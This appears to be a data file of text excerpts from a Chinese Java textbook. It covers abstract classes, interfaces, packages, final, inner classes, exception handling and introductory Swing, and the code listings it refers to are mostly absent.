    {"text": "假如现在需要绘制一个平行四边形，这时可以在平行四边形类中定义一个draw()方法，具体实现代码如例10.11所示。 【例10.11】定义一个平行四边形的类Parallelogram，在类中定义一个draw()方法。"},
    {"text": "如果定义一个四边形类，让它处理所有继承该类的对象，根据“向上转型”原则可以使每个继承四边形类的对象作为draw()方法的参数，然后在draw()方法中作一些限定就可以根据不同图形类对象绘制相应的图形，从而以更为通用的四边形类来取代具体的正方形类和平行四边形类。"},
    {"text": "编写draw()方法，该方法接收Quadrangle类的对象作为参数，即使用这两个内部类的父类作为方法参数。 在主方法中分别以两个内部类的实例对象作为参数执行draw()方法。"},
    {"text": "10.7 抽象类与接口 通常可以说四边形具有4条边，或者更具体一点，平行四边形是具有对边平行且相等特性的特殊四边形，等腰三角形是其中两条边相等的三角形，这些描述都是合乎情理的。"},
    {"text": "在多态机制中，并不需要将父类初始化对象，我们需要的只是子类对象，所以在Java语言中设置抽象类不可以实例化对象，因为图形类不能抽象出任何一种具体图形，但它的子类却可以。"},
    {"text": "抽象类的语法如下： 其中，abstract是定义抽象类的关键字。 使用abstract关键字定义的类称为抽象类，而使用这个关键字定义的方法称为抽象方法。"},
    {"text": "抽象方法没有方法体，这个方法本身没有任何意义，除非它被重写，而承载这个抽象方法的抽象类必须被继承，实际上抽象类除了被继承之外没有任何意义。 反过来讲，如果声明一个抽象的方法，就必须将承载这个抽象方法的类定义为抽象类，不可能在非抽象类中获取抽象方法。 换句话说，只要类中有一个抽象方法，此类就被标记为抽象类。 抽象类被继承后需要实现其中所有的抽象方法，也就是保证相同的方法名称、参数列表和相同返回值类型创建出非抽象方法，当然也可以是抽象方法。"},
    {"text": "这样在多态机制中，就可以将父类修改为抽象类，将draw()方法设置为抽象方法，然后每个子类都重写这个方法来处理。 但这又会出现我们刚探讨多态时讨论的问题，程序中会有太多冗余的代码，同时这样的父类局限性很大，也许某个不需要draw()方法的子类也不得不重写draw()方法。 如果将draw()方法放置在另外一个类中，让那些需要draw()方法的类继承该类，不需要draw()方法的类继承图形类，又会产生新的问题：所有的子类都需要图形类，因为这些类是从图形类中导出的，同时某些类还需要draw()方法，而Java中规定类不能同时继承多个父类。"},
    {"text": "对于10.7.1小节中遗留的问题，可以将draw()方法封装到一个接口中，使需要draw()方法的类实现这个接口，同时也继承图形类，这就是接口存在的必要性。"},
    {"text": "图10.14 使用接口继承关系 接口使用interface关键字进行定义，其语法如下： public：接口可以像类一样被权限修饰符修饰，但public关键字仅限用于接口在与其同名的文件中被定义。"},
    {"text": "一个类实现一个接口，可以使用implements关键字，代码如下： 注意 在接口中，方法必须被定义为public或abstract形式，其他修饰权限不被Java编译器认可。"},
    {"text": "图10.15 多态与接口结合 在本实例中，正方形类与平行四边形类分别实现了drawTest接口并继承了四边形类，所以需要覆盖接口中的方法。 在调用draw()方法时，首先将平行四边形类对象与正方形类对象向上转型为drawTest接口形式。"},
    {"text": "然后使用d[i]数组中的每一个对象调用draw()，由于向上转型，所以d[i]数组中的每一个对象分别代表正方形类对象与平行四边形类对象，最后结果分别调用正方形类与平行四边形类中覆盖的draw()方法。"},
    {"text": "10.8 小结 通过对本章的学习，读者可以了解继承与多态的机制，掌握重载、类型转换等技术，学会使用接口与抽象类，并对继承和多态有一个比较深入的了解。 尽管至此已经学完了本章，但初学者在后期的学习和实践中一定要仔细揣摩继承与多态机制，因为继承和多态本身是比较抽象的概念，深入理解需要一段时间。"},
    {"text": "使用多态机制必须扩大自己的编程视野，将编程的着眼点放在类与类之间的共同特性以及关系上，使软件开发具有更快的速度、更完善的代码组织架构，以及更好的扩展性和维护性。"},
    {"text": "（答案位置：\\TM\\sl\\10.11） 2. 尝试创建一个父类，在父类中创建两个方法，在子类中覆盖第二个方法，再为子类创建一个对象，将它向上转型到基类并调用这个方法。 （答案位置：\\TM\\sl\\10.12） 3. 尝试创建一个父类和子类，分别创建构造方法，然后向父类和子类添加成员变量和方法，并总结构建子类对象时的顺序。"},
    {"text": "由于在类中可以定义多个内部类，实现接口的方式也不止一个，因此只要将内部类中的方法设置为类最小范围的修饰权限，即可将内部类的实现细节有效地隐藏。"},
    {"text": "通过阅读本章，您可以： 掌握包的创建规则 能够在程序中导入其他类包 掌握final变量、方法、类 熟练应用内部类 11.1 Java类包 在Java中每定义好一个类，通过Java编译器进行编译之后，都会生成一个扩展名为.class的文件。"},
    {"text": "11.1.1 类名冲突 Java中每个接口或类都来自不同的类包，无论是Java API中的类与接口还是自定义的类与接口，都需要隶属于某一个类包，这个类包包含了一些类和接口。"},
    {"text": "如果程序只由一个类定义组成，并不会给程序带来什么影响，但是随着程序代码的增多，难免会出现类同名的问题。 例如，在程序中定义一个Login类，因业务需要，还要定义一个名称为Login的类，但是这两个类所实现的功能完全不同，于是问题就产生了—编译器不会允许存在同名的类文件。"},
    {"text": "11.1.2 完整的类路径 在第9章中曾经讲述过Math类，其实Math类并不是它的完整名称，就如同一个人的名称需要有名有姓一样，Math类的完整名称如图11.1所示。"},
    {"text": "从图11.1中可以看出，一个完整的类名需要包名与类名的组合，每个类都隶属于一个类包，只要保证同一类包中的类不同名，就可以有效地避免同名类冲突的情况。"},
    {"text": "例如，一个程序中同时使用到java.util.Date类与java.sql.Date类，如果在程序中不指定完整类路径，编译器不会知道这段代码使用的是java.util类包中的Date类还是java.sql类包中的Date类，所以需要在指定代码中给出完整的类路径。 图11.1 定义完整的类名 【例11.1】在程序中使用两个不同Date类的完整类路径，可以使用如下代码： java.util.Date date=new java.util.Date(); java.sql.Date date2=new java.sql.Date(233); 在Java中采用类包机制非常重要，类包不仅可以解决类名冲突问题，还可以在开发庞大的应用程序时，帮助开发人员管理庞大的应用程序组件，方便软件复用。"},
    {"text": "注意 同一个包中的类不必存放在同一个位置，如com.lzw.class1和com.lzw.class2可以一个放置在C盘，一个放置在D盘，只要将CLASSPATH分别指向这两个位置即可。"},
    {"text": "11.1.3 创建包 在Eclipse中创建包的步骤如下： （1）在项目的src节点上右击，选择New / Package命令。 （2）弹出New Java Package对话框，在Name文本框中输入新建的包名，如com.lzw，然后单击Finish按钮，如图11.2所示。 图11.2 New Java Package对话框 （3）在Eclipse中创建类时，可以在新建立的包上右击，选择New命令，这样新建的类会默认保存在该包中。 另外也可以在New Java Class对话框中指定新建类所在的包。"},
    {"text": "在类中定义包名的语法如下： package 包名 在类中指定包名时，需要将package表达式放置在程序的第一行，它必须是文件中的第一行非注释代码。 使用package关键字为类指定包名之后，包名将会成为类名中的一部分，预示着这个类必须指定全名。"},
    {"text": "图11.3 在程序中指定包名 在本实例中，在程序的第一行指定包名，同时在com.lzw包中定义Math类，读者不禁会想到java.lang.Math类，而本实例定义的为com.lzw.Math类，可以看出在不同包中定义相同类名也是没有问题的，所以在Java中使用包可以有效管理各种功能的类。 11.1.4 导入包 1. 使用import关键字导入包 如果某个类中需要使用Math类，那么如何告知编译器当前应该使用哪一个包中的Math类，是java.lang.Math类还是com.lzw.Math类？"},
    {"text": "例如，如果在程序中使用import com.lzw表达式，在程序中使用Math类时就会选择com.lzw.Math类来使用，当然也可以直接在程序中使用Math类时指定com.lzw.Math类。"},
    {"text": "import关键字的语法如下： 在使用import关键字时，可以指定类的完整描述，如果为了使用包中更多的类，可以在使用import关键字指定时在包指定后加上*，这表示可以在程序中使用包中的所有类。"},
    {"text": "注意 如果类定义中已经导入com.lzw.Math类，在类体中再使用其他包中的Math类时就必须指定完整的带有包格式的类名，如这种情况再使用java.lang包的Math类时就要使用全名格式java.lang.Math。 在程序中添加import关键字时，就开始在CLASSPATH指定的目录中进行查找，查找子目录com.lzw，然后从这个目录下编译完成的文件中查找是否有名称符合者，最后寻找到Math.class文件。"},
    {"text": "使用DOS进入程序所在的根目录下，执行如下命令： javac -d ./bin/ ./com/lzw/*.java 这样编译成功后将在当前运行路径下的bin目录中产生com/lzw路径，并在该路径下出现相应源文件的类文件。"},
    {"text": "说明 如果不能在程序所在的根目录下使用javac.exe命令，注意在path环境变量中设置Java编译器所在的位置，假如是C:\\Java\\jdk1.6.0_03\\bin，可以使用set path=C:\\Java\\jdk1.6.0_03\\bin;%path%命令在DOS中设置path环境变量。"},
    {"text": "使用import导入静态成员的语法如下： import static 静态成员 为了使读者了解如何使用import关键字导入静态成员，来看下面的实例。 【例11.3】在项目中创建ImportTest类，在该类中使用import关键字导入静态成员。"},
    {"text": "图11.4 使用import关键字导入静态成员 从本实例中可以看出，分别使用import static导入了java.lang.Math类中的静态成员方法max()和java.lang.System类中的out成员变量，这时就可以在程序中直接引用这些静态成员，如在主方法中的out.println()表达式以及直接使用max()方法。"},
    {"text": "final除了可以修饰基本数据类型的常量，还可以修饰对象引用。 由于数组也可以被看作一个对象来引用，所以final可以修饰数组。 一旦一个对象引用被修饰为final后，它只能恒定指向一个对象，无法将其改变以指向另一个对象。 一个既是static又是final的字段只占据一段不能改变的存储空间。"},
    {"text": "（实例位置：\\TM\\sl\\11.03） 在本实例中，被定义为final的常量定义时需要使用大写字母命名，并且中间使用下画线进行连接，这是Java中的编码规则。"},
    {"text": "同时，定义为final的数据无论是常量、对象引用还是数组，在主函数中都不可以被改变。 一个被定义为final的对象引用只能指向唯一一个对象，不可以将它再指向其他对象。 但由于一个对象本身的值是可以改变的，因此为了使一个常量真正做到不可更改，可以将常量声明为static final。"},
    {"text": "从本实例的运行结果中可以看出，定义为final的常量不是恒定不变的，将随机数赋予定义为final的常量，可以做到每次运行程序时改变a1的值。 但是a2与a1不同，由于它被声明为static final形式，所以在内存中为a2开辟了一个恒定不变的区域，当再次实例化一个FinalStaticData对象时，仍然指向a2这块内存区域，所以a2的值保持不变。"},
    {"text": "图11.5 比较static final与final定义数据的区别 图11.6 程序中可以定义为final的数据 11.3 final方法 首先，读者应该了解定义为final的方法不能被重写。 将方法定义为final类型，可以防止子类修改该类的定义与实现方式，同时定义为final的方法的执行效率要高于非final方法。"},
    {"text": "【例11.6】在项目中创建FinalMethod类，在该类中创建Parents类和继承该类的Sub类，在主方法中分别调用这两个类中的方法，并查看final类型方法能否被覆盖。"},
    {"text": "图11.7 验证是否可以覆盖private final方法 从本实例中可以看出，final方法不能被覆盖，例如，doit2()方法不能在子类中被重写，但是在父类中定义了一个private final的doit()方法，同时在子类中也定义了一个doit()方法，从表面上来看，子类中的doit()方法覆盖了父类的doit()方法，但是覆盖必须满足一个对象向上转型为它的基本类型并调用相同方法这样一个条件。 例如，在主方法中使用“Parents p=s;”语句执行向上转型操作，对象p只能调用正常覆盖的doit3()方法，却不能调用doit()方法，可见子类中的doit()方法并不是被正常覆盖，而是生成了一个新的方法。"},
    {"text": "11.4 final类 定义为final的类不能被继承。 如果希望一个类不被任何类继承，并且不允许其他人对这个类进行任何改动，可以将这个类设置为final形式。 final类的语法如下： final 类名{} 如果将某个类设置为final形式，则类中的所有方法都被隐式设置为final形式，但是final类中的成员变量可以被定义为final或非final形式。"},
    {"text": "成员内部类的语法如下： 在内部类中可以随意使用外部类的成员方法以及成员变量，尽管这些类成员被修饰为private。 图11.8充分说明了内部类的使用，尽管成员变量i以及成员方法f()都在外部类中被修饰为private，但在内部类中可以直接使用外部类中的类成员。"},
    {"text": "图11.9说明了内部类InnerClass对象与外部类OuterClass对象的关系。 图11.8 内部类可以使用外部类的成员 图11.9 内部类对象与外部类对象的关系 从图11.9中可以看出，内部类对象与外部类对象关系非常紧密，内外可以交互使用彼此类中定义的变量。"},
    {"text": "在例11.8的主方法中如果不使用doit()方法返回内部类对象引用，可以直接使用内部类实例化内部类对象，但由于是在主方法中实例化内部类对象，必须在new操作符之前提供一个外部类的引用。 【例11.9】在主方法中实例化一个内部类对象。 从例11.9中可以看出，在实例化内部类对象时，不能在new操作符之前使用外部类名称实例化内部类对象，而是应该使用外部类的对象来创建其内部类的对象。 注意 内部类对象会依赖于外部类对象，除非已经存在一个外部类对象，否则类中不会出现内部类对象。"},
    {"text": "2. 内部类向上转型为接口 如果将一个权限修饰符为private的内部类向上转型为其父类对象，或者直接向上转型为一个接口，在程序中就可以完全隐藏内部类的具体实现过程。"},
    {"text": "如果在实现该接口的内部类中实现该接口的方法，就可以定义多个内部类以不同的方式实现接口中的同一个方法，而在一般的类中是不能多次实现接口中同一个方法的，这种技巧经常被应用在Swing编程中，可以在一个类中做出多个不同的响应事件（Swing编程技术会在后文中详细介绍）。"},
    {"text": "【例11.10】下面修改例11.8，在项目中创建InterfaceInner类，并定义接口OutInterface，使内部类InnerClass实现这个接口，最后使doit()方法返回值类型为该接口。"},
    {"text": "图11.10 内部类向上转型为接口 从上述实例中可以看出，OuterClass2类中定义了一个修饰权限为private的内部类，这个内部类实现了OutInterface接口，然后修改doit()方法，使该方法返回一个OutInterface接口。 由于内部类InnerClass修饰权限为private，所以除了OuterClass2类可以访问该内部类之外，其他类都不能访问，而可以访问doit()方法。"},
    {"text": "它包含一个f()方法，在继承此接口的内部类中实现了该方法，如果某个类继承了外部类，由于内部的权限不可以向下转型为内部类InnerClass，同时也不能访问f()方法，但是却可以访问接口中的f()方法。 例如，InterfaceInner类中最后一条语句，接口引用调用f()方法，从执行结果可以看出，这条语句执行的是内部类中的f()方法，很好地对继承该类的子类隐藏了实现细节，仅为编写子类的人留下一个接口和一个外部类，同时也可以调用f()方法，但是f()方法的具体实现过程却被很好地隐藏了，这就是内部类最基本的用途。"},
    {"text": "【例11.11】在项目中创建TheSameName类，在类中定义成员变量x，再定义一个内部类Inner，在内部类中也创建x变量，并在内部类的doit()方法中分别操作两个x变量。"},
    {"text": "关键代码如下： （实例位置：\\TM\\sl\\11.09） 在类中，如果遇到内部类与外部类的成员变量重名的情况，可以使用this关键字进行处理。 例如，在内部类中使用this.x语句可以调用内部类的成员变量x，而使用TheSameName.this.x语句可以调用外部类的成员变量x，即使用外部类名称后跟一个点操作符和this关键字便可获取外部类的一个引用。"},
    {"text": "图11.11 内部类对象与外部类对象在内存中的分布情况 读者应该明确一点，在内存中所有对象均被放置在堆中，方法以及方法中的形参或局部变量放置在栈中。 在图11.11中，栈中的doit()方法指向内部类的对象，而内部类的对象与外部类的对象是相互依赖的，Outer.this对象指向外部类对象。"},
    {"text": "【例11.12】修改例11.10，将InnerClass类放在doit()方法的内部。 关键代码如下： （实例位置：\\TM\\sl\\11.10） 从上述代码中可以看出，内部类被定义在了doit()方法内部。 但是有一点值得注意，内部类InnerClass2是doit()方法的一部分，并非OuterClass3类中的一部分，所以在doit()方法的外部不能访问该内部类，但是该内部类可以访问当前代码块的常量以及此外部类的所有成员。"},
    {"text": "如果需要在方法体中使用局部变量，该局部变量需要被设置为final类型，换句话说，在方法中定义的内部类只能访问方法中final类型的局部变量，这是因为在方法中定义的局部变量相当于一个常量，它的生命周期超出方法运行的生命周期，由于该局部变量被设置为final，所以不能在内部类中改变该局部变量的值。"},
    {"text": "11.5.3 匿名内部类 下面将例11.12中定义的内部类再次进行修改，在doit()方法中将return语句和内部类定义语句合并在一起，下面通过一个实例说明。 【例11.13】在return语句中编写返回值为一个匿名内部类。 从例11.13中可以看出，笔者将doit()方法修改得有一些莫名其妙，但这种写法确实被Java编译器认可，在doit()方法内部首先返回一个OutInterface2的引用，然后在return语句中插入一个定义内部类的代码，由于这个类没有名称，所以这里将该内部类称为匿名内部类。 实质上这种内部类的作用就是创建一个实现于OutInterface2接口的匿名类的对象。"},
    {"text": "由于匿名内部类没有名称，所以匿名内部类使用默认构造方法来生成OutInterface2对象。 在匿名内部类定义结束后，需要加分号进行标识，这个分号并不代表内部类的结束，而是代表OutInterface2引用表达式的创建。 说明 匿名内部类编译以后，会产生以“外部类名$序号”为名称的.class文件，序号以1~n排列，分别代表1~n个匿名内部类。"},
    {"text": "11.5.4 静态内部类 在内部类前添加修饰符static，这个内部类就变为静态内部类了。 一个静态内部类中可以声明static成员，但是在非静态内部类中不可以声明静态成员。 静态内部类有一个最大的特点，就是不可以使用外部类的非静态成员，所以静态内部类在程序开发中比较少见。 可以这样认为，普通的内部类对象隐式地在外部保存了一个引用，指向创建它的外部类对象，但如果内部类被定义为static，就会有更多的限制。 静态内部类具有以下两个特点： 如果创建静态内部类的对象，不需要其外部类的对象。"},
    {"text": "【例11.14】定义一个静态内部类StaticInnerClass，可以使用如下代码： 例11.14中，在内部类的doitInner()方法中调用成员变量x，由于Inner被修饰为static形式，而成员变量x却是非static类型的，所以在doitInner()方法中不能调用x变量。"},
    {"text": "进行程序测试时，如果在每一个Java文件中都设置一个主方法，将出现很多额外代码，而程序本身并不需要这些主方法，为了解决这个问题，可以将主方法写入静态内部类中。"},
    {"text": "编译例11.15中的类，将生成一个名称为StaticInnerClass$Inner的独立类和一个StaticInnerClass类，只要使用java StaticInnerClass$Inner，就可以运行主方法中的内容，这样当完成测试，需要将所有.class文件打包时，只要删除StaticInnerClass$Inner独立类即可。"},
    {"text": "在某个类继承内部类时，必须硬性给予这个类一个带参数的构造方法，并且该构造方法的参数为需要继承内部类的外部类的引用，同时在构造方法体中使用a.super()语句，这样才为继承提供了必要的对象引用。"},
    {"text": "11.6 小结 本章介绍了Java语言中的包、final关键字的用法以及内部类。 通过本章的学习，读者应该掌握在程序中导入包的方法，定义final变量、final方法以及final类的方法，同时还应掌握内部类的用法。"},
    {"text": "（答案位置：\\TM\\sl\\11.11） 2. 尝试将主方法编写到静态内部类中，然后在DOS中编译运行，注意编译后出现的.class文件。 （答案位置：\\TM\\sl\\11.12） 3. 尝试编写一个静态内部类，在主方法中创建其内部类的实例。"},
    {"text": "为此，Java提供了异常处理机制来帮助程序员检查可能出现的错误，保证程序的可读性和可维护性。 Java中将异常封装到一个类中，出现错误时就会抛出异常。"},
    {"text": "通过阅读本章，您可以： 了解异常的概念 掌握异常的捕捉方法 了解Java中常见的异常 掌握自定义异常 了解如何在方法中抛出异常 了解运行时异常的种类 了解异常处理的使用原则 12.1 异常概述 在程序中，错误可能产生于程序员没有预料到的各种情况，或者是超出了程序员可控范围的环境因素，如用户的坏数据、试图打开一个根本不存在的文件等。 在Java中这种在程序运行时可能出现的一些错误称为异常。 异常是一个在程序执行期间发生的事件，它中断了正在执行的程序的正常指令流。"},
    {"text": "图12.1 例12.1的运行结果 程序运行的结果报告发生了算术异常ArithmeticException（根据给出的错误提示可知发生错误是因为在算术表达式“3/0”中，0作为除数出现），系统不再执行下去，提前结束。"},
    {"text": "通过异常处理机制，可以将非正常情况下的处理代码与程序的主逻辑分离，即在编写代码主流程的同时在其他地方处理异常。 12.2 处理程序异常错误 为了保证程序有效地执行，需要对发生的异常进行相应的处理。"},
    {"text": "12.2.2 捕捉异常 Java语言的异常捕获结构由try、catch和finally 3部分组成。 其中，try语句块存放的是可能发生异常的Java语句； catch程序块在try语句块之后，用来激发被捕获的异常； finally语句块是异常处理结构的最后执行部分，无论try语句块中的代码如何退出，都将执行finally语句块。 语法如下： 通过异常处理器的语法可知，异常处理器大致分为try-catch语句块和finally语句块。"},
    {"text": "1. try-catch语句块 下面将例12.2中的代码进行修改。 【例12.3】在项目中创建类Take，在主方法中使用try-catch语句块将可能出现的异常语句进行异常处理。"},
    {"text": "图12.3 应用try-catch语句块对可能出现的异常语句进行异常处理 从图12.3中可以看出，程序仍然输出最后的提示信息，没有因为异常而终止。 在例12.3中将可能出现异常的代码用try-catch语句块进行处理，当try代码块中的语句发生异常时，程序就会调转到catch代码块中执行，执行完catch代码块中的程序代码后，将继续执行catch代码块后的其他代码，而不会执行try代码块中发生异常语句后面的代码。"},
    {"text": "getMessage()函数：输出错误性质。 toString()函数：给出异常的类型与性质。 printStackTrace()函数：指出异常的类型、性质、栈层次及出现在程序中的位置。"},
    {"text": "注意 有时为了编程简单会忽略catch语句后的代码，这样try-catch语句就成了一种摆设，一旦程序在运行过程中出现了异常，就会导致最终运行结果与期望的不一致，而错误发生的原因很难查找。 因此要养成良好的编程习惯，最好在catch代码块中写入处理异常的代码。 2. finally语句块 完整的异常处理语句一定要包含finally语句，无论程序中有无异常发生，并且无论之间的try-catch是否顺利执行完毕，都会执行finally语句。"},
    {"text": "12.3 Java常见异常 在Java中提供了一些异常用来描述经常发生的错误，其中，有的需要程序员进行捕获处理或声明抛出，有的是由Java虚拟机自动进行捕获处理的。 Java中常见的异常类如表12.1所示。 表12.1 常见的异常类 12.4 自定义异常 使用Java内置的异常类可以描述在编程时出现的大部分异常情况。"},
    {"text": "（2）在方法中通过throw关键字抛出异常对象。 （3）如果在当前抛出异常的方法中处理异常，可以使用try-catch语句块捕获并处理，否则在方法的声明处通过throws关键字指明要抛出给方法调用者的异常，继续进行下一步操作。"},
    {"text": "图12.4 例12.5的运行结果 12.5 在方法中抛出异常 若某个方法可能会发生异常，但不想在当前方法中处理这个异常，则可以使用throws、throw关键字在方法中抛出异常。 12.5.1 使用throws关键字抛出异常 throws关键字通常被应用在声明方法时，用来指定方法可能抛出的异常。"},
    {"text": "【例12.6】在项目中创建类Shoot，在该类中创建方法pop()，在该方法中抛出NegativeArraySize-Exception异常，在主方法中调用该方法，并实现异常处理。"},
    {"text": "图12.5 例12.6的运行结果 使用throws关键字将异常抛给上一级后，如果不想处理该异常，可以继续向上抛出，但最终要有能够处理该异常的代码。 说明 如果是Error、RuntimeException或它们的子类，可以不使用throws关键字来声明要抛出的异常，编译仍能顺利通过，但在运行时会被系统抛出。 12.5.2 使用throw关键字抛出异常 throw关键字通常用于方法体中，并且抛出一个异常对象。"},
    {"text": "通过throw抛出异常后，如果想在上一级代码中来捕获并处理异常，则需要在抛出异常的方法中使用throws关键字在方法的声明中指明要抛出的异常； 如果要捕捉throw抛出的异常，则必须使用try-catch语句块。 throw通常用来抛出用户自定义异常。 下面通过实例介绍throw的用法。"},
    {"text": "在项目中创建Captor类，该类中的quotient()方法传递两个int型参数，如果其中的一个参数为负数，则会抛出MyException异常，最后在main()方法中捕捉异常。"},
    {"text": "如果调用quotient(3,-1)方法，将发生MyException异常，程序调转到catch (MyException e)代码块中执行； 如果调用quotient(5,0)方法，会发生Arithmeti(-?)cException异常，程序调转到catch(ArithmeticException e)代码块中执行；"},
    {"text": "由于Exception是所有异常类的父类，如果将catch(Exception e)代码块放在其他两个代码块的前面，后面的代码块将永远得不到执行，也就没有什么意义了，所以catch语句的顺序不可调换。"},
    {"text": "Exception类又根据错误发生的原因分为RuntimeException异常和除RuntimeException之外的异常，如图12.7所示。 图12.7 Java异常类结构 Java中提供了常见的RuntimeException异常，这些异常可通过try-catch语句捕获，如表12.2所示。 表12.2 RuntimeException异常的种类 12.7 异常的使用原则 Java异常强制用户去考虑程序的强健性和安全性。"},
    {"text": "一个方法被覆盖时，覆盖它的方法必须抛出相同的异常或异常的子类。 如果父类抛出多个异常，则覆盖方法必须抛出那些异常的一个子集，不能抛出新异常。"},
    {"text": "（答案位置：\\TM\\sl\\12.09） 2. 创建类Number，通过类中的方法count可得到任意两个数相乘的结果，并在调用该方法的主方法中使用try-catch语句捕捉可能发生的异常。"},
    {"text": "（答案位置：\\TM\\sl\\12.10） 3. 创建类Computer，该类中有一个计算两个数的最大公约数的方法，如果向该方法传递负整数，该方法就会抛出自定义异常。"},
    {"text": "Swing的使用很复杂，本章主要讲解Swing中的基本要素，包括容器、组件、窗体布局、事件和监听器。 通过阅读本章，您可以： 了解Swing组件 掌握常用窗体的使用方法 掌握在标签上设置图标的方法 掌握布局管理器的使用方法 熟练运用常用面板 熟练运用按钮组件 熟练运用列表组件 熟练运用文本组件 熟练运用常用事件监听器 13.1 Swing概述 GUI（图形用户界面）为程序提供图形界面，它最初的设计目的是为程序员构建一个通用的GUI，使其能够在所有的平台上运行，但Java 1.0中基础类AWT（抽象窗口工具箱）并没有达到这个要求，于是Swing出现了，它是AWT组件的增强组件，但是它并不能完全替代AWT组件，这两种组件需要同时出现在一个图形用户界面中。 13.1.1 Swing特点 原来的AWT组件来自java.awt包，当含有AWT组件的Java应用程序在不同的平台上执行时，每个平台的GUI组件的显示会有所不同，但是在不同平台上运行使用Swing开发的应用程序时，就可以统一GUI组件的显示风格，因为Swing组件允许编程人员在跨平台时指定统一的外观和风格。 Swing组件通常被称为“轻量级组件”，因为它完全由Java语言编写，而Java是不依赖于操作系统的语言，它可以在任何平台上运行；"},
    {"text": "13.1.2 Swing包 为了有效地使用Swing组件，必须了解Swing包的层次结构和继承关系，其中比较重要的类是Component类、Container类和JComponent类。"},
    {"text": "图13.1 Swing组件的类的层次和继承关系 在Swing组件中大多数GUI组件都是Component类的直接子类或间接子类，JComponent类是Swing组件各种特性的存放位置，这些组件的特性包括设定组件边界、GUI组件自动滚动等。 在Swing组件中最重要的父类是Container类，而Container类有两个最重要的子类，分别为java.awt.Window与java.awt.Frame，除了以往的AWT类组件会继承这两个类之外，现在的Swing组件也扩展了这两个类。 从图13.1中可以发现，顶层父类是Component类与Container类，所以Java关于窗口组件的编写，都与组件以及容器的概念相关联。"},
    {"text": "13.1.3 常用Swing组件概述 下面给出基本Swing组件的概述，有关这些组件的内容将在后面详细讲解。 表13.1列举了常用的Swing组件及其含义。 表13.1 常用的Swing组件 13.2 常用窗体 窗体作为Swing应用程序中组件的承载体，处于非常重要的位置。 Swing中常用的窗体包括JFrame和JDialog，本节将着重讲解这两个窗体的使用方法。 13.2.1 JFrame窗体 JFrame窗体是一个容器，它是Swing程序中各个组件的载体，可以将JFrame看作是承载这些Swing组件的容器。 在开发应用程序时可以通过继承java.swing.JFrame类创建一个窗体，在这个窗体中添加组件，同时为组件设置事件。"},
    {"text": "读者大致应该有这样一个概念，Swing组件的窗体通常与组件和容器相关，所以在JFrame对象创建完成后，需要调用getContentPane()方法将窗体转换为容器，然后在容器中添加组件或设置布局管理器。"},
    {"text": "如果需要将组件添加至容器，可以使用来自Container类的add()方法进行设置。 例如： container.add(new JButton(\"按钮\")); //JButton按钮组件 在容器中添加组件后，也可以使用Container类的remove()方法将这些组件从容器中删除。 例如： container.remove(new JButton(\"按钮\")); 下面的实例中实现了JFrame对象创建一个窗体，并在其中添加一个组件。"},
    {"text": "JFrame类中的两种构造方法分别为无参的构造方法与有参的构造方法，第1种形式的构造方法可以创建一个初始不可见、没有标题的新窗体； 第2种形式的构造方法在实例化该JFrame对象时可以创建一个不可见但具有标题的窗体。 可以使用JFrame对象调用show()方法使窗体可见，但是该方法早已被新版JDK所弃用，通常使用setVisible(true)方法使窗体可见。"},
    {"text": "同时可以使用setSize(int x,int y)方法设置窗体大小，其中x与y变量分别代表窗体的宽与高。 创建窗体后，需要给予窗体一个关闭方式，可以调用setDefaultCloseOperation()方法关闭窗体。 Java为窗体关闭提供了多种方式，常用的有以下4种： DO_NOTHING_ON_CLOSE。"},
    {"text": "13.2.2 JDialog窗体 JDialog窗体是Swing组件中的对话框，它继承了AWT组件中的java.awt.Dialog类。 JDialog窗体的功能是从一个窗体中弹出另一个窗体，就像是在使用IE浏览器时弹出的确定对话框一样。 JDialog窗体实质上就是另一种类型的窗体，它与JFrame窗体类似，在使用时也需要调用getContentPane()方法将窗体转换为容器，然后在容器中设置窗体的特性。 在应用程序中创建JDialog窗体需要实例化JDialog类，通常使用以下几个JDialog类的构造方法。 public JDialog()：创建一个没有标题和父窗体的对话框。 public JDialog(Frame f)：创建一个指定父窗体的对话框，但该窗体没有标题。 public JDialog(Frame f,boolean model)：创建一个指定类型的对话框，并指定父窗体，但该窗体没有指定标题。 public JDialog(Frame f,String title)：创建一个指定标题和父窗体的对话框。 public JDialog(Frame f,String title,boolean model)：创建一个指定标题、窗体和模式的对话框。"},
    {"text": "图13.3 弹出JDialog窗体 在本实例中，为了使对话框在父窗体弹出，定义了一个JFrame窗体，首先在该窗体中定义一个按钮，然后为此按钮添加一个鼠标单击监听事件（在这里使用了匿名内部类的形式，如果读者对这部分的代码实现有疑问，不妨回顾一下第11章中该部分的内容，而监听事件会在后续章节中进行讲解，在这里读者只需知道这部分代码是当用户单击该按钮后实现的某种功能即可），这里使用new MyJDialog().setVisible(true)语句使对话框窗体可见，这样就实现了用户单击该按钮后弹出对话框的功能。"},
    {"text": "在这里使用了public JDialog(Frame f,String title,boolean model)这种形式的构造方法，相应地设置了自定义的JFrame窗体以及对话框的标题和窗体类型。 在本实例代码中可以看到，JDialog窗体与JFrame窗体形式基本相同，甚至在设置窗体的特性时调用的方法名称都基本相同，如设置窗体大小、窗体关闭状态等。"},
    {"text": "13.3 标签组件与图标 在Swing中显示文本或提示信息的方法是使用标签，它支持文本字符串和图标。 在应用程序的用户界面中，一个简短的文本标签可以使用户知道这些组件的目的，所以标签在Swing中是比较常用的组件。 本节将探讨Swing标签的用法、如何创建标签，以及如何在标签上放置文本与图标。"},
    {"text": "标签可以显示一行只读文本、一个图像或带图像的文本，它并不能产生任何类型的事件，只是简单地显示文本和图片，但是可以使用标签的特性指定标签上文本的对齐方式。"},
    {"text": "JLabel类提供了多种构造方法，可以创建多种标签，如显示只有文本的标签、只有图标的标签或包含文本与图标的标签。 JLabel类常用的几个构造方法如下。 public JLabel()：创建一个不带图标和文本的JLabel对象。 public JLabel(Icon icon)：创建一个带图标的JLabel对象。 public JLabel(Icon icon,int aligment)：创建一个带图标的JLabel对象，并设置图标水平对齐方式。 public JLabel(String text,int aligment)：创建一个带文本的JLabel对象，并设置文字水平对齐方式。 public JLabel(String text,Icon icon,int aligment)：创建一个带文本、带图标的JLabel对象，并设置标签内容的水平对齐方式。"},
    {"text": "如果使用Icon接口，必须实现Icon接口中的3个方法： public int getIconHeight()。 public int getIconWidth()。 public void paintIcon(Component arg0, Graphics arg1, int arg2, int arg3)。 getIconHeigth()与getIconWidth()方法用于获取图标的长与宽，paintIcon()方法用于实现在指定坐标位置画图。"},
